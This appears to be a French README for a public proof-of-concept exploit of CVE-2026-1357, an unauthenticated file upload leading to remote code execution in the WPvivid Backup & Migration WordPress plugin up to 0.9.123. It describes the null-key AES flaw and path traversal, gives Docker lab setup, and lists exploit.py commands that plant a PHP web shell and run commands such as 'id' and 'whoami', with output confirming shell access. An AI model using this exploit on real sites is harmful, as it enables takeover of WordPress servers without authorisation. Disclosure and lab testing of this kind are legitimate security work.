
CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 Exploit RCE non authentifié
Téléversement arbitraire de fichiers sans authentification → Exécution de code à distance
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-1357 |
| CVSS | 9.8 (Critique) |
| Plugin | WPvivid Backup & Migration |
| Affecté | ≤ 0.9.123 |
| Corrigé | 0.9.124 |
| Découvert par | Lucas Montes (NiRoX) |
| PoC par | halilkirazkaya |
Le plugin WPvivid Backup & Migration (≤ 0.9.123) contient une vulnérabilité critique qui permet à un attaquant non authentifié de téléverser des fichiers PHP arbitraires sur le serveur, conduisant à une exécution de code à distance (RCE).
La chaîne d'exploitation combine deux bogues :
Le plugin gère les transferts de sauvegarde à distance via le hook wpvivid_action=send_to_site. Lors du déchiffrement de la clé de session, openssl_private_decrypt() retourne false pour une clé RSA malformée. Le plugin ne vérifie pas cette valeur de retour et transmet false à Crypt_Rijndael de phpseclib v1, qui le traite comme une clé nulle de 16 octets (\x00 × 16) en mode CBC avec un IV nul.
Le paramètre name dans la charge utile JSON déchiffrée n'est pas assaini. Un attaquant peut utiliser des séquences ../ pour écrire un fichier PHP en dehors du répertoire de sauvegarde restreint, dans le répertoire public wp-content/uploads/.
Le wpvivid_api_token doit avoir été généré dans les paramètres du plugin et ne doit pas avoir expiré.
Téléchargez et extrayez WPvivid Backup & Migration v0.9.123 (version vulnérable) :
wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip
unzip wpvivid-backuprestore.0.9.123.zip
Cela créera le répertoire wpvivid-backuprestore/ qui est monté dans le conteneur Docker via docker-compose.yml.
docker compose up -d
http://localhost et terminez l'installation de WordPress.pip install -r requirements.txt
# Check vulnerability only (uploads a harmless txt file and verifies MD5)
python3 exploit.py -u http://TARGET-URL -c
# Upload shell and run default command (id)
python3 exploit.py -u http://TARGET-URL -s
# Upload shell and run custom command
python3 exploit.py -u http://TARGET-URL -s "whoami"
[*] Target : http://localhost/
[*] Mode : Check
[*] Upload path : ../uploads/h8xq9b3v2z1c.txt
[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response : 200
[+] Body : {"result":"success","op":"finished"}
[+] Verifying at: http://localhost/wp-content/uploads/h8xq9b3v2z1c.txt
[✓] Vulnerability Confirmed! File content matches MD5.
[*] Target : http://localhost/
[*] Mode : Shell
[*] Upload path : ../uploads/wp6h68xnt1tyzbfx8qp3qdbx.php
[*] Verify cmd : id
[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response : 200
[+] Body : {"result":"success","op":"finished"}
[+] Verifying at: http://localhost/wp-content/uploads/wp6h68xnt1tyzbfx8qp3qdbx.php?cmd=id
[✓] RCE Confirmed!
[✓] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Cet outil est fourni uniquement pour des tests de sécurité autorisés et à des fins éducatives. L'accès non autorisé à des systèmes informatiques est illégal. Utilisez-le de manière responsable.